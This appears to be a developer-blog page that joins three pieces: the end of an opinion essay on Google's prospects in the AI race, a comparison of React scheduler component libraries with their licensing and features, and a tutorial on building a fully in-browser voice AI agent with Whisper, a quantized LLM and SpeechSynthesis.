AdSense pulls in a lazy $8 billion each quarter in revenue. That matters because, at this stage, AI companies have to develop models and then sell access at a loss to get people onboard. For example, I subscribed to Grok for three months for the price of one. Elon is going to lose money on that, guaranteed. The hope is that, after three months, I stay subscribed and pay the increased rate.

With huge revenue and enormous compute, Google can afford to develop a true frontier model and sell access at a loss long enough for a substantial number of users to migrate. Whether individual users subscribe immediately or not, AdSense can help subsidize the cost for a long time. Without that kind of cash machine, competitors will have a much harder time eating the cost of training a model and subsidizing its use at Google’s scale.

Then, possibly years down the track, after some bigger players have run out of money or the will to continue, Google can stop subsidizing its own AI and charge closer to what it actually costs, without worrying that someone else can keep outperforming it at a loss.

Maybe that sounds a little dire. But think about how Google became the number one search engine in the world. That position was not handed to it. Google fought for it with billions of dollars in deals to make Google the default search engine, with the development of Chrome, and with payments to Apple to keep Google as the default search engine on iOS, to name just a few examples.

We tend to trivialize the complexity of those deals and the scale of that strategy. You might drive around to a few different gas stations to find cheaper gas, but you probably do not bounce between search engines looking for results. You Google it, and if it is not there, you move on.

Google has more of the web to train on than almost any other player. It has an OpenAI-level coding interface, or at least something moving in that direction. It has the AdSense money machine. The last missing piece is a truly killer model.

If you Google something and it does not show up, you probably assume the answer is not worth finding. You do not go to Bing and try again. It is hard to imagine the same thing not happening with AI if Google can produce a model good enough to make that behavior stick.

So, yes: Google won the search engine race, and it is not hard to imagine it winning the AI race, too. The broader consolidation happening across the AI industry only reinforces how high the stakes are for every player involved.

In the meantime, we can all use some subsidized AI coding. That part, at least, is kind of neat.

Best React scheduler component libraries

Frank Joseph — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This article was updated by Isaac Okoro on 6 August 2026 to refresh library details, pricing/licensing notes, React support, and guidance on choosing the right React scheduler component library.

React remains a default choice for building stateful, dynamic web applications. But as an app becomes more complex, scheduling features can quickly become difficult to build and maintain from scratch.

A basic calendar is one thing. A production scheduler usually needs multiple views, recurring events, drag-and-drop editing, resource planning, timezone handling, localization, accessibility support, and strong performance with large event datasets. A React scheduler component library gives you these patterns as pre-built components, so you can focus on the application logic around them.

In this article, we’ll compare some of the best React scheduler component libraries based on features, ease of use, performance, pricing, and ideal use cases. To get the most out of this article, you should have a basic understanding of how to set up and run a React project.

Which React scheduler library should you choose?

Here’s a quick starting point if you already know the type of scheduling experience you need:

Use case	Recommended options
Simple event calendar, free	FullCalendar core or react-big-calendar
Booking or appointment flow for a smaller app	CalendarKit
Enterprise scheduling as part of a broader component suite	KendoReact Scheduler or Syncfusion
Resource planning at scale with a one-time license	DHTMLX Scheduler for React
Resource or shift planning with a free tier to start	DayPilot React Scheduler
Resource-heavy planning with strong grid performance	Bryntum
Scheduler for an existing Material UI app	MUI X Scheduler
Lightweight, modern FullCalendar alternative	Schedule-X
TV guide, streaming schedule, or general timeline UI	Planby

If you need a free, general-purpose calendar, start with FullCalendar or react-big-calendar. If you need a full enterprise scheduler, evaluate KendoReact, Syncfusion, DHTMLX, Bryntum, or DayPilot. If your app already uses Material UI, MUI X Scheduler is worth watching closely. For more specialized flows, CalendarKit, Schedule-X, and Planby may be better fits.

Why use a React scheduler component library?

React scheduler component libraries help developers add scheduling features without rebuilding common calendar interactions from the ground up. They are especially useful when your app needs more than a basic date picker.

Time savings

Scheduler libraries provide pre-built components, views, and editing flows for common scheduling patterns, including day, week, month, timeline, and agenda views. This can reduce development time and let your team focus on domain-specific logic rather than calendar infrastructure.

Performance

Many scheduler libraries are designed to handle large event datasets through virtualization, lazy loading, or optimized rendering. This matters for applications that need to show many events, long date ranges, or resource-heavy timelines.

User experience

Schedulers usually include familiar interactions such as drag-and-drop editing, event resizing, recurring events, keyboard navigation, and responsive layouts. These patterns are difficult to implement well from scratch.

Customization

Most React scheduler libraries support theming, localization, custom event rendering, and configurable date formats. This helps you adapt the scheduler to your product instead of forcing your users into a generic calendar UI.

Cross-platform support

Some scheduler libraries are React-only, while others support multiple frameworks such as Angular, Vue, Blazor, Svelte, or vanilla JavaScript. If your organization works across multiple frontend stacks, cross-framework support may be an important selection factor.

KendoReact Scheduler

KendoReact Scheduler is a feature-rich React scheduler component from Progress Telerik. It provides out-of-the-box support for timezone conversion, globalization, resource visualization, event grouping, recurring events, and editing:

KendoReact Scheduler brings Outlook-style scheduling functionality into a single React component. It is best suited for enterprise teams that already use KendoReact or need a broad commercial component suite.

Features

KendoReact Scheduler includes day, week, work week, month, timeline, and agenda views. It also supports multiple event selection, resource visualization, time zone conversion, grouping, recurring events, and editing. Localization and globalization support make it suitable for applications with international users.

The component includes a built-in recurrence editor, so users can configure daily, weekly, monthly, or annual recurring events. It also supports data binding from arrays of data items.

KendoReact is a paid suite. A license key is required for trial and paid usage, and pricing is suite-based. Check the Telerik pricing page before budgeting because licensing details can change.

Ease of use

KendoReact provides strong documentation, samples, demos, tutorials, and virtual classroom resources. The scheduler has a large API surface, with classes such as AgendaView, DayView, and MonthView. The interface can also be styled with Progress ThemeBuilder.

Performance

KendoReact Scheduler is built specifically for React and supports efficient data binding, so the scheduler can update when the data source changes without reloading the entire component. Accessibility support includes WAI-ARIA attributes, keyboard navigation, and RTL mode.

Syncfusion React Scheduler

Syncfusion offers a feature-rich React scheduler component as part of its broader UI component suite:

Syncfusion is a good fit for teams that want an enterprise scheduler along with a larger set of UI components across React and other frameworks.

Features

Syncfusion Scheduler supports day, week, work week, month, agenda, year, and timeline views. It also includes recurring events, globalization, localization, and data binding from sources such as JSON and RESTful services.

Syncfusion supports responsive layouts across desktop and mobile devices. It also has component suites for Angular, Vue, Blazor, and other platforms.

Syncfusion is a paid product, but it offers a free community license for qualifying individuals and small businesses, along with a free trial.

Ease of use

Syncfusion provides detailed documentation, samples, and demos. Its API is straightforward for common scheduling tasks, and the broader Syncfusion ecosystem can be useful if your team already uses the vendor’s components elsewhere.

Performance

Syncfusion uses techniques such as virtual scrolling and on-demand loading to reduce rendering cost for larger schedules. It is suitable for apps that need multiple views, external data binding, and enterprise-level customization.

DHTMLX Scheduler

DHTMLX Scheduler is a mature JavaScript calendar scheduler with an official React wrapper. It supports drag-and-drop scheduling, recurring events, customizable views, and other features for building scheduling applications:

DHTMLX Scheduler is a paid tool with a free trial. It is useful for teams that prefer a one-time commercial license instead of a subscription-based component suite.

Features

DHTMLX Scheduler includes day, week, month, and year views, along with drag-and-drop event scheduling and recurrence support. It also supports globalization and localization, making it easier to customize date formats and language settings.

DHTMLX works across modern browsers and integrates with frameworks and platforms such as React, Angular, Vue, Node.js, jQuery, PHP, Laravel, Ruby on Rails, and Salesforce.

Ease of use

DHTMLX Scheduler has detailed documentation and a large API with methods, properties, and events for configuring behavior and appearance. That flexibility is useful for complex requirements, though it can also mean a steeper learning curve than simpler React-only calendars.

Performance

DHTMLX Scheduler is designed for modern browsers and includes accessibility support such as WAI-ARIA attributes, keyboard navigation, high-contrast themes, and RTL mode.

Bryntum

Bryntum Scheduler is a commercial scheduling component for React with a large feature set and a performance-oriented rendering model:

Bryntum is best suited for complex scheduling, resource planning, and timeline-heavy applications.

Features

Bryntum includes drag-and-drop scheduling, event resizing, exporting to PDF, PNG, and Excel, JSX rendering in events and cells, sortable entries, and built-in themes. It is a paid product, and pricing depends on the license type and usage model.

Ease of use

Bryntum provides documentation, tutorials, and demos for React. The API is broad, so it is most useful when your app needs advanced scheduling behavior rather than a simple event calendar.

Performance

Bryntum focuses heavily on performance through virtual rendering, optimized DOM updates, and efficient data handling. This makes it a strong option for demanding scheduling interfaces with many events or resources.

react-big-calendar

For teams looking for a free React scheduler component library, react-big-calendar is a popular open source option. Instead of a traditional table-based layout, it uses flexbox:

Features

react-big-calendar includes day, week, month, and agenda views. It supports drag-and-drop scheduling, event resizing, customizable tooltips, localization, and theming.

The project also has community support, including a Slack community.

Ease of use

react-big-calendar is straightforward to set up and has documentation and demos for common calendar use cases. It is a good fit for teams that need a free, React-specific event calendar and do not need enterprise resource-planning features.

Performance

react-big-calendar can work well for everyday calendar interfaces, but teams building very large resource schedules should test it against their expected event volume before committing.

FullCalendar

FullCalendar is one of the most widely used calendar libraries in the JavaScript ecosystem. It has an official React connector and a broad feature set, including customizable and draggable events. You can get started with FullCalendar’s core version for free:

Features

FullCalendar provides day, week, month, list, and agenda-style views. It accepts React JSX for rendering nested content and integrates with React, Vue, Angular, vanilla JavaScript, and TypeScript. It also supports theming, Bootstrap 5 compatibility, and integrations with iCal and Google Calendar.

FullCalendar’s core package is MIT-licensed. Premium plugins add features such as resource timelines and advanced views.

Ease of use

FullCalendar has extensive documentation, examples, and a large community. This makes it one of the safer picks for teams that want a general-purpose event calendar with plenty of reference material.

Performance

FullCalendar is optimized for common event-calendar use cases and can fetch event data on demand. If you need resource timelines or large scheduling grids, review its Premium plugins and test against your data size.

Schedule-X

Schedule-X is a modern calendar and date picker library for web applications. It offers material-style calendar components and works well as a lightweight alternative to larger scheduler suites:

Features

Schedule-X supports multiple calendar views, including day, week, and month. It also includes time pickers, dark mode, recurring events, and accessibility-focused UI patterns.

As of Schedule-X v4, the library draws a clearer line between the free and Premium tiers. Drag-and-drop and event resizing, which were previously listed as free features in older versions of this article, now live behind Schedule-X Premium, alongside the Time Grid Resource View. Premium is sold per project based on team size, with yearly subscription and lifetime license options.

Ease of use

Schedule-X has a clean API and approachable documentation. It is a good fit for teams that want a modern, lightweight calendar without adopting a larger enterprise component suite.

Performance

Schedule-X is designed to be lightweight and responsive, making it suitable for many everyday scheduling use cases. As with any scheduler, test it with your expected event volume if your app needs dense calendars or long timelines.

MUI X Scheduler

MUI X Scheduler is a newer option from the Material UI team. It is worth including because Material UI is widely used in production React codebases, though the Scheduler is still early-stage compared with more mature libraries.

Features

The Community tier covers multiple views, resource support, drag and drop, resizing, and theming. The Premium tier adds features such as recurring events, exception dates, DST-aware recurrence, lazy loading through data sources, and resource timeline capabilities.

Ease of use

If your app already uses Material UI, MUI X Scheduler should be relatively low-friction. It uses the same design system, theming conventions, and component patterns as the rest of the MUI ecosystem.

Performance

MUI X Scheduler builds on the virtualization patterns used across other MUI X components. The Community tier is suitable for many everyday scheduling interfaces, while teams working with very large event datasets or long date ranges should evaluate the Premium data-source and timeline features.

Because the scheduler is still early-stage, expect some API changes before it reaches the same level of maturity as older scheduler libraries.

DayPilot React Scheduler

DayPilot React Scheduler provides calendar and scheduler components for React, including a free Lite version and a paid Pro version.

Features

DayPilot Lite for React covers basic scheduler use cases, including horizontal timelines, drag-and-drop support, and customizable appearance. DayPilot Pro adds more advanced scheduling features, such as progressive rendering, larger timeline support, event editing, image and PDF export, RTL support, and additional UI controls.

DayPilot is a good fit for resource scheduling, shift planning, and timeline-style interfaces where a horizontal scheduler is more useful than a traditional month calendar.

Ease of use

DayPilot provides React-specific documentation and examples. It is not as broadly discussed as FullCalendar or react-big-calendar, but the Lite version gives developers a practical way to test the scheduler model before moving to a paid plan.

Performance

DayPilot Pro is designed for larger scheduling datasets through features such as progressive rendering. If performance across many resources or long timelines is central to your project, test the Lite and Pro versions with realistic data before choosing a license.

CalendarKit

CalendarKit is a newer, lightweight, TypeScript-first calendar aimed at booking and appointment flows.

Features

The basic tier ships as @calendarkit/react, with a BasicScheduler component that can render events from an array of event objects. It includes TypeScript support, dark mode, and a simple drop-in scheduler experience.

CalendarKit also supports deeper customization through props such as renderEventForm, which lets you replace the default event creation and editing modal with your own UI.

The Pro tier adds more production-oriented features, including recurring events and full timezone handling. CalendarKit currently targets React and Next.js; support for Vue, Angular, Svelte, and Solid is planned under a future Universal license but is not available yet.

Ease of use

CalendarKit is quick to get running and is especially appealing for booking or appointment flows. It is less suitable if you need a cross-framework scheduler today.

Performance

CalendarKit provides pre-built timeline, day, and week interfaces, which can reduce the amount of custom layout, scrolling, and date-math work your team needs to build. As with the other newer options, test it with realistic event density before using it for a large production scheduler.

Planby

Planby started as an Electronic Program Guide, or TV/streaming schedule, library and has since repositioned as a more general timeline scheduler. Its channels-and-programs model can map well to resources, bookings, shift planning, or conference agendas.

Features

Planby’s core offering uses custom virtual rendering for large datasets and supports timezone-aware scheduling. Its commercial tier adds drag and drop, resizing, advanced grid modes, and priority support.

Ease of use

Planby is built in React and TypeScript, with documentation and live examples. Its API is more specialized than the general-purpose calendars on this list, so it is best for timeline-style interfaces rather than ordinary event calendars.

Performance

Planby is designed around virtualized rendering, drawing only the events and channels currently visible on the screen. This makes it a stronger fit for timeline-heavy applications than for simple calendar widgets.

React scheduler library comparison table

Library	License/pricing	React support	Best use case	Other framework support
KendoReact Scheduler	Paid suite; trial available	Native React, frequent releases	Enterprise teams already on KendoReact	Angular, Vue, and jQuery through separate Kendo UI suites
Syncfusion React Scheduler	Paid suite; free community license for qualifying small teams	Actively maintained React support	Multi-framework enterprise suites	Angular, Vue, Blazor, and more
DHTMLX Scheduler for React	Paid, one-time license; trial available	Official React wrapper	Enterprise scheduling with one-time licensing	Angular, Vue, Node.js, jQuery, PHP, Laravel, Ruby on Rails, and Salesforce
Bryntum Scheduler	Paid; pricing varies by license	Official React wrapper	Complex resource planning	Angular, Vue, Ionic, Salesforce, and vanilla JavaScript
react-big-calendar	Free, MIT	React-focused	Budget event calendars	None, React only
FullCalendar	MIT core; paid Premium plugins	Official React connector	General-purpose event calendars	Vue, Angular, vanilla JavaScript, and web component support
Schedule-X	Free core; Premium paid	React support plus cross-framework packages	Lightweight FullCalendar alternative	Angular, Vue, Svelte, and Preact
MUI X Scheduler	Community and Premium tiers	React, aligned with MUI X	Material UI apps	None, React only
DayPilot React Scheduler	Lite free; Pro paid	Documented React integration	Resource and shift planning	Angular, Vue, jQuery, AngularJS, plus server-side editions
CalendarKit	Free basic; Pro paid	React 18+ and Next.js	Booking flows and MVPs	None yet; additional frameworks planned
Planby	Free core with commercial tier	React and TypeScript	EPG, TV guides, and general timelines	None, React only

Pricing above reflects publicly listed information as of this update. Check each vendor’s site before budgeting, since pricing and feature tiers can change.

Conclusion

React scheduler component libraries save development time by providing calendar views, recurring event logic, editing interactions, localization, accessibility support, and performance optimizations that are difficult to rebuild from scratch.

The best option depends on what you’re building. FullCalendar and react-big-calendar are strong starting points for free, general-purpose event calendars. KendoReact, Syncfusion, DHTMLX, Bryntum, and DayPilot are better fits for enterprise scheduling and resource planning. MUI X Scheduler is a natural option for teams already invested in Material UI, while Schedule-X, CalendarKit, and Planby are useful for more specialized calendar and timeline interfaces.

Before choosing a scheduler, test it with your real data shape, expected event volume, accessibility requirements, and licensing constraints. A scheduler can look simple in a demo, but production requirements such as recurring events, timezone handling, resource views, and drag-and-drop editing often determine whether the library is actually a good fit.

#2026
#react

How to build a real time voice AI agent in the browser

Jude Miracle — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Most voice AI architectures chain together three distinct external APIs: speech-to-text, an LLM, and text-to-speech. That setup means three separate network round trips, three vendors, extra points of failure, and a frustrating 2–3 second latency before the agent responds, not to mention shipping raw audio off to third-party servers.

In this guide, you’ll build a voice agent that eliminates every single one of those network hops. Speech recognition, reasoning, and synthesis all execute right inside the browser tab using Transformers.js v4 powered by WebGPU (with an automatic fallback to WASM when WebGPU isn’t available). Everything- audio inputs, transcripts, and model outputs remains completely local.

Thanks to WebGPU, modern browsers are finally fast enough to run a compact Whisper model alongside a quantized LLM for real-time conversational flow. We’ll cover how to stitch these three stages together, gracefully handle lower-spec hardware, and manage system state so your agent never talks over itself.

What does this voice AI agent’s tech stack include?

STT: A quantized Whisper model executed directly via the Transformers.js pipeline API
LLM: A compact, quantized language model running on the exact same runtime and backend
TTS: The browser’s built-in SpeechSynthesis API, strictly filtered to local, on-device voices

By the end, you’ll have a working agent and a clear idea of what running everything locally means for latency, model size, and browser support.

See the Pen
Real-time voice agent by Miracle Jude (@JudeIV)
on CodePen.

Launch the app in a WebGPU-capable desktop browser like Chrome or Edge. The initial load downloads around 400MB of model weights, which are cached locally for future runs. Grant microphone access, wait for the models to load, and start speaking.

How does Transformers.js run speech-to-text and an LLM in the same browser tab?

Although the pipeline relies on three distinct components, they all operate within a single unified runtime powered by Transformers.js.

Transformers.js brings Hugging Face’s core libraries directly into JavaScript. Built on ONNX Runtime Web, version 4 uses WebGPU as its primary acceleration engine with a WASM fallback. Because both Whisper and the LLM share the exact same pipeline() API, you get to skip the headache of managing separate engines or disparate API abstractions.

The end-to-end flow

Mic capture: Raw audio is captured via the Web Audio API, sliced into short buffers, and pushed to Whisper
Real-time transcription: Whisper transcribes incoming chunks, streaming interim text updates while the user speaks
Turn transition: Once the user stops talking (triggered via silence detection or an explicit cutoff), the full transcript is passed to the local LLM
Token generation & speech: The LLM streams tokens, handing off completed sentences to the SpeechSynthesis API
Feedback loop protection: The microphone remains muted while SpeechSynthesis speaks, preventing the agent from hearing and transcribing its own voice

This loop control is more critical than it looks. A voice agent isn’t just three independent stages; it’s a closed loop with a strict state gate at each transition. Mic capture must pause before TTS begins, and TTS must fully wrap up before the mic reopens. If you miss this step, the agent ends up listening to itself, and the entire flow breaks down fast.

WebGPU handles the heavy lifting for both Whisper and the LLM, giving you direct access to GPU power right inside the browser. That compute is what makes running a local language model at conversational speeds possible without a server backend. If a user’s device lacks WebGPU support, Transformers.js automatically degrades to WASM, so both models still function, just at a slower pace. It’s important to understand how much slower before going live, which we’ll break down with real benchmark numbers next.

How do you run Whisper speech-to-text in the browser?

Whisper takes care of transcription, but this stage can be tricky on lower-end hardware. Picking a model that is too large causes high latency, while picking one that is too small leads to transcription errors.

Loading the model

Transformers.js exposes Whisper through the automatic-speech-recognition pipeline. Pass device: 'webgpu' explicitly in the options to enforce GPU execution rather than letting the runtime guess:

import { pipeline } from '@huggingface/transformers';

const transcriber = await pipeline(
  'automatic-speech-recognition',
  'onnx-community/whisper-base',
  {
    device: 'webgpu',
    dtype: 'q4', // quantized weights, smaller download, faster inference
  }
);

The dtype option is what makes this setup practical for the web. Standard full-precision Whisper weights balloon into hundreds of megabytes, but when quantized to 4-bit (q4), a model like whisper-base drops to roughly 40MB, small enough to fetch quickly and cache in the browser for instant reloads.

Selecting a model size

Whisper comes in five standard sizes: tiny, base, small, medium, and large. For real-time conversational agents, stick strictly to tiny or base. Anything larger introduces too much processing latency on consumer devices, breaking the flow of natural conversation.

Model	Params	Quantized size (q4)	Accuracy	Real-time on mid-range GPU
tiny	39M	~15MB	Noticeably rougher on accents, background noise	Yes, comfortably
base	74M	~40MB	Solid for clear speech, single speaker	Yes, with headroom
small	244M	~120MB	Meaningfully better	Borderline on laptops without a discrete GPU

Start with the base model. It delivers solid transcription accuracy without the heavy load times or compute costs of the small model. If you need to target lower-end devices, fall back to the tiny model and provide clear UI feedback so users understand why accuracy might take a slight hit.

Chunking mic audio

Whisper isn’t built for native stream processing out of the box; it expects fixed-length audio buffers. To make it feel real-time, you need to chunk the incoming mic stream before passing it to the pipeline. A rolling audio buffer solves this: slice short audio segments, run each through Whisper, and maintain an overlapping context window so you don’t chop words in half mid-sentence.

// chunker-worklet.js — runs on the audio rendering thread, not the main thread
class ChunkerProcessor extends AudioWorkletProcessor {
  constructor() {
    super();
    this.buffer = [];
    this.chunkSize = 3000 * (16000 / 1000); // 3s at 16kHz
  }

  process(inputs) {
    const input = inputs[0][0];
    if (!input) return true;

    this.buffer.push(...input);

    if (this.buffer.length >= this.chunkSize) {
      this.port.postMessage(new Float32Array(this.buffer));
      this.buffer = [];
    }

    return true; // keep the processor alive
  }
}

registerProcessor('chunker-processor', ChunkerProcessor);

This worklet runs in its own file on the dedicated audio rendering thread, a high-priority background thread reserved by the browser for low-latency audio tasks. Because it operates entirely off the main thread, it won’t block UI rendering or network requests, which is critical when timing matters. The main thread simply registers the worklet and listens for completed audio chunks over a message channel:

// main thread
const audioContext = new AudioContext({ sampleRate: 16000 });
await audioContext.audioWorklet.addModule('chunker-worklet.js');

const source = audioContext.createMediaStreamSource(micStream);
const chunker = new AudioWorkletNode(audioContext, 'chunker-processor');

chunker.port.onmessage = ({ data }) => {
  transcribeChunk(data); // hand the chunk off to the Whisper worker
};

source.connect(chunker);

This setup is intentional: the audio rendering thread handles raw capture, the Whisper worker processes transcription, and the main thread manages UI state. Because each runs on its own thread, they won’t block one another during heavy workloads.

There is one drawback to a strict fixed-window approach: a hard 3-second boundary might slice a word in half, causing Whisper to hallucinate or mis-transcribe both fragments. The rolling buffer’s overlap helps smooth this out, but for a production-ready agent, it is better to use energy-based Voice Activity Detection (VAD). VAD segments audio dynamically at natural speech pauses rather than relying on a rigid timer, which is the exact approach used in the demo at the top.

Streaming interim transcripts without freezing the UI

Two things will paralyze your UI thread: running heavy model inference directly on it, and updating the DOM with every partial transcript token.

Run the transcriber inside a Web Worker. Transformers.js runs smoothly off the main thread, and moving it there is essential for building real-time, responsive agents. Without offloading inference to a worker, every single transcription step will cause the UI to stutter and freeze during live conversations.

// worker.js
self.onmessage = async ({ data }) => {
  const result = await transcriber(data, {
    return_timestamps: false,
  });
  self.postMessage({ text: result.text });
};

The worker only manages the model. It doesn’t touch the DOM or handle state; it just takes audio in and sends text out. This keeps the main thread free to update the user interface:

// main thread
const worker = new Worker('worker.js');

worker.onmessage = ({ data }) => {
  updateTranscriptUI(data.text); // cheap DOM update, not a re-render of the whole tree
};

function transcribeChunk(audio) {
  worker.postMessage(audio);
}

Make UI updates as lightweight as possible. In React, target individual text nodes or localized component states rather than triggering a re-render of the entire conversation list. If partial transcription tokens are streaming in rapidly, batch your state updates to keep frame rates smooth.

How do you run a local LLM in the browser for voice responses?

Now that you have clean text, this stage feels much more familiar: load a model, pass in a system prompt, and stream the generated tokens back. The main challenge is handling all of this without a server backend and without freezing the browser tab while a multi-hundred-megabyte model loads into memory.

Loading the model

You’ll use the same pipeline() API as Whisper, but with a different task type:

import { pipeline } from '@huggingface/transformers';

const generator = await pipeline(
  'text-generation',
  'onnx-community/Qwen2.5-0.5B-Instruct',
  {
    device: 'webgpu',
    dtype: 'q4',
  }
);

A 0.5B parameter model won’t write your unit tests, but it’s fast enough for back-and-forth conversation, which is what actually counts here. Quantized to 4-bit, it sits at around 350MB, a heavy initial download, but one the browser caches for subsequent loads.

If your target hardware can handle a larger model, something like Qwen2.5-1.5B-Instruct delivers noticeably better responses, though you will trade off longer load times and higher VRAM consumption.

Keep a close eye on total memory footprint. Holding both Whisper and the LLM in WebGPU simultaneously requires roughly 1 to 1.5 GB of VRAM. Desktop GPUs won’t even blink at that, but a low-end mobile browser under strict memory limits will outright kill the WebGPU context, which manifests as the agent silently dying mid-session rather than throwing a clean, catchable error. If you’re targeting mobile devices, that VRAM ceiling is a far bigger constraint than the initial download size.

Building the prompt

Keep the conversation history and feed it through the model’s chat template rather than hand-rolling a prompt string:

const messages = [
  { role: 'system', content: 'You are a concise voice assistant. Keep responses short and conversational.' },
  ...conversationHistory,
  { role: 'user', content: transcript },
];

The system prompt is especially important here. If a voice agent replies with long paragraphs or lists, TTS will read everything, and users will stop listening before it’s done. Make sure to tell the model to keep responses short.

Streaming tokens without blocking the main thread

Just like with Whisper, run this in a Web Worker, not on the main thread. Even though a 0.5B model is small for an LLM, generating text still takes time. If the tab freezes, even for a second, it ruins the feel of a live conversation.

// llm-worker.js
import { TextStreamer } from '@huggingface/transformers';

self.onmessage = async ({ data }) => {
  const streamer = new TextStreamer(tokenizer, {
    skip_prompt: true,
    callback_function: (token) => {
      self.postMessage({ type: 'token', token });
    },
  });

  await generator(data.messages, {
    max_new_tokens: 200,
    streamer,
  });

  self.postMessage({ type: 'done' });
};

TextStreamer helps make the experience feel real-time instead of waiting for a long response. Each token is sent to the main thread as soon as it’s generated, so the UI can show it right away. More importantly, TTS can start speaking the first sentence before the model finishes the whole response.

// main thread
const llmWorker = new Worker('llm-worker.js');
let currentSentence = '';

llmWorker.onmessage = ({ data }) => {
  if (data.type === 'token') {
    currentSentence += data.token;
    updateResponseUI(currentSentence);

    // Hand off complete sentences to TTS as they finish,
    // don't wait for the full response
    if (/[.!?]\s*$/.test(currentSentence)) {
      speakSentence(currentSentence);
      currentSentence = '';
    }
  }
};

The sentence-boundary check is important. Without it, TTS waits for the full response before speaking, and any latency savings from running locally are lost while waiting for the LLM to finish.

The WASM fallback

WebGPU isn’t available everywhere yet. Safari support is still improving, and many users have older hardware or GPUs that don’t support compute shaders in the browser. Transformers.js handles this by falling back to WASM if WebGPU isn’t available, but this fallback comes with a performance cost.

Detecting support takes one extra step people usually skip. Checking that navigator.gpu exists isn’t enough, since some devices expose the API but still fail to return a usable adapter. Request one and confirm it’s there before committing to WebGPU:

async function getDevice() {
  if (!navigator.gpu) return 'wasm';
  const adapter = await navigator.gpu.requestAdapter().catch(() => null);
  return adapter ? 'webgpu' : 'wasm';
}

Then pass the result into the pipeline instead of guessing inline:

const generator = await pipeline(
  'text-generation',
  'onnx-community/Qwen2.5-0.5B-Instruct',
  {
    device: await getDevice(),
    dtype: 'q4',
  }
);

Resolving the device up front lets you set expectations before the model even loads, rather than letting the user discover the slowdown mid-conversation.

The difference in performance is clear. With WebGPU, the 0.5B model produces about 20 to 30 tokens per second, but with WASM, that drops to just 1 to 3 tokens per second. This speed might be fine for text generation, but for a voice agent, where quick responses are important, WASM is usually too slow to feel natural. You can either use a smaller model with WASM or let users know in the interface that their device may be slower.

How do you keep browser text-to-speech fully local?

This is where the ‘fully local’ setup can fail if you’re not careful. SpeechSynthesis is a built-in browser API, so there’s no download or model to load. However, not every voice it offers runs on your device; some use a network service, and the API doesn’t clearly show which ones are local.

The voice filtering problem

When you call speechSynthesis.getVoices(), you’ll see both local and cloud-based voices, sometimes from the same vendor and with similar names. On Chrome, Google’s higher-quality voices use the network, while the local ones sound more robotic and are less prominently listed.

The API actually tells you which is which; you have to check:

function getLocalVoices() {
  const voices = speechSynthesis.getVoices();
  return voices.filter((voice) => voice.localService === true);
}

The localService flag is what matters. If you ignore it, your agent might claim to be fully local but actually send generated text to a third party as soon as it starts speaking.

function pickVoice(preferredLang = 'en-US') {
  const localVoices = getLocalVoices();

  // Prefer a voice matching the target language, fall back to any local voice
  const match = localVoices.find((v) => v.lang === preferredLang);
  return match || localVoices[0] || null;
}

Voice options depend on the user’s OS and browser, so always check for null and have a backup plan. If needed, let users know if their browser doesn’t have a usable local voice.

Speaking a sentence

Once you’ve got a local voice, speaking is the easy part:

function speakSentence(text, voice) {
  const utterance = new SpeechSynthesisUtterance(text);
  utterance.voice = voice;
  utterance.rate = 1.05; // a slightly faster rate sounds more natural for short responses
  return new Promise((resolve) => {
    utterance.onend = resolve;
    speechSynthesis.speak(utterance);
  });
}

Wrapping this in a promise that resolves when onend fires is important. You need to know exactly when speech finishes so you can safely reopen the mic.

Queue management

Because the LLM worker streams completed sentences out as they are generated, multiple calls to speak() can pile up far faster than the browser can physically speak them.

While the Web Speech API’s SpeechSynthesis interface maintains an internal utterance queue by default, relying on browser-native queuing makes handling real-time interruptions messy and unpredictable. It is much better to manage an explicit application-level queue yourself.

class SpeechQueue {
  constructor(voice) {
    this.voice = voice;
    this.queue = [];
    this.speaking = false;
  }

  add(text) {
    this.queue.push(text);
    if (!this.speaking) this.next();
  }

  async next() {
    if (this.queue.length === 0) {
      this.speaking = false;
      return;
    }
    this.speaking = true;
    const text = this.queue.shift();
    await speakSentence(text, this.voice);
    this.next();
  }

  clear() {
    this.queue = [];
    speechSynthesis.cancel();
    this.speaking = false;
  }
}

Managing your own queue lets you use a single clear() method to handle interruptions, instead of dealing with the browser’s internal queue state.

Handling interruptions

Voice agents often get interrupted. If the user starts talking before the response is finished, the agent should stop mid-sentence instead of continuing to speak over the user.

function handleUserSpeaking() {
  speechQueue.clear(); // stop TTS immediately

  llmWorker.postMessage({ type: 'abort' }); // stop generation too, no point finishing a response nobody will hear
}

The LLM worker actually needs to respect that abort message; otherwise, it keeps generating tokens into a queue nobody’s draining:

// llm-worker.js
let aborted = false;

self.onmessage = async ({ data }) => {
  if (data.type === 'abort') {
    aborted = true;
    return;
  }

  aborted = false;
  const streamer = new TextStreamer(tokenizer, {
    skip_prompt: true,
    callback_function: (token) => {
      if (aborted) return;
      self.postMessage({ type: 'token', token });
    },
  });

  await generator(data.messages, { max_new_tokens: 200, streamer });
};

This doesn’t fully cancel generation; the model still computes tokens in the background, but it stops sending them. A better solution would use an AbortController if supported, but just silencing the output is enough to make interruptions feel instant for users.

How do you prevent a voice agent from hearing itself?

So far, each stage works in isolation: Whisper transcribes, the LLM generates, and SpeechSynthesis speaks. But if you chain them together without a central state machine, the microphone can easily stay active while the agent is talking, causing it to transcribe its own voice and feed those outputs back to the LLM as user input.

The three states

At any given moment, a voice agent only needs three core states:

LISTENING: The mic is open, Whisper is actively transcribing, and the system is waiting for the user to finish talking
THINKING: The mic is muted, the transcript has been handed off to the LLM, and tokens are actively streaming back
SPEAKING: The mic stays muted, SpeechSynthesis is playing back audio, and the sentence queue is draining

The transitions are more important than the states themselves. LISTENING should only switch to THINKING when the user has actually stopped talking, not just paused to take a breath. THINKING should cut over to SPEAKING as soon as the very first sentence is ready, rather than waiting for the entire LLM response to complete. Finally, SPEAKING returns to LISTENING only after the playback queue is completely empty.

const STATES = {
  LISTENING: 'listening',
  THINKING: 'thinking',
  SPEAKING: 'speaking',
};

class ConversationController {
  constructor() {
    this.state = STATES.LISTENING;
  }

  transition(next) {
    console.log(`${this.state} -> ${next}`);
    this.state = next;
  }
}

The state machine is simple, but just tracking the state isn’t enough. To keep the mic quiet during SPEAKING, you need to actively enforce access control on the input stream based on the current state, rather than just logging transitions.

Gating the mic

The microphone should only pass audio to Whisper while the controller is explicitly in the LISTENING state. In every other state, audio buffers still arrive from the hardware, but they must be immediately dropped before reaching the transcription worker:

chunker.port.onmessage = ({ data }) => {
  if (controller.state !== STATES.LISTENING) return;
  transcribeChunk(data);
};

